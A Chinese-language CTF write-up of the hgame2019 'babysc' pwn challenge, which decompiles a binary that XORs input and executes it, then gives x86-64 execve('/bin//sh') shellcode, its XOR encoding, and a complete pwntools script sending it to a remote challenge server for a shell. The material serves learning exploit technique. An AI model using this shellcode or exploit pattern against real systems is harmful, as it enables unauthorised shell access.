pwn之shellcode编写

这里以前几天碰到的hgame2019的一道pwn题目为例

程序直接就给了输入点,我们拖入到ida查看

这是一个64位程序,我们正常在main函数处f5反编译时出现了报错

我们选中报错那行代码按d,即可正常反编译

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[92]; // [rsp+0h] [rbp-60h]
  int i; // [rsp+5Ch] [rbp-4h]

  signal(14, handle);
  alarm(0xAu);
  read(0, buf, 0x50uLL);
  for ( i = 0; i <= 79; ++i )
  buf[i] ^= i + 1;
  JUMPOUT(*(_QWORD *)&byte_400672);
}

改程序直接调用了我们输入的shellcode,但是注意在

for ( i = 0; i <= 79; ++i )
buf[i] ^= i + 1;

这里他将我们输入的shellcode和i+1进行了异或,所以我们需要将我们的shellcode与i+1进行异或后再发送给程序

关于shellcode,我们不会编写的话可以去公共数据库寻找合适的shellcode

http://shell-storm.org/shellcode/

这里我使用了一位师傅分享的shellcode

我们先将其与i+1进行异或运算

buf = "\x48\x31\xc0\x48\x83\xc0\x3b\x48\x31\xff\x57\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x8d\x3c\x24\x48\x31\xf6\x48\x31\xd2\x0f\x05"
m = ""
for i in range(0,34):
    m = m+chr(ord(buf[i])^(i+1))

而后将其整合在最后的exp中:

from pwn import *
context(os='linux', arch='amd64', log_level='debug')


p = remote('118.24.3.214',10000)
#p = process('./babysc')


buf = "\x48\x31\xc0\x48\x83\xc0\x3b\x48\x31\xff\x57\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x8d\x3c\x24\x48\x31\xf6\x48\x31\xd2\x0f\x05"
m = ""

for i in range(0,34):
    m = m+chr(ord(buf[i])^(i+1))


p.send(m)

p.interactive()

执行后成功获得了权限

坚持原创技术分享,您的支持将鼓励我继续创作!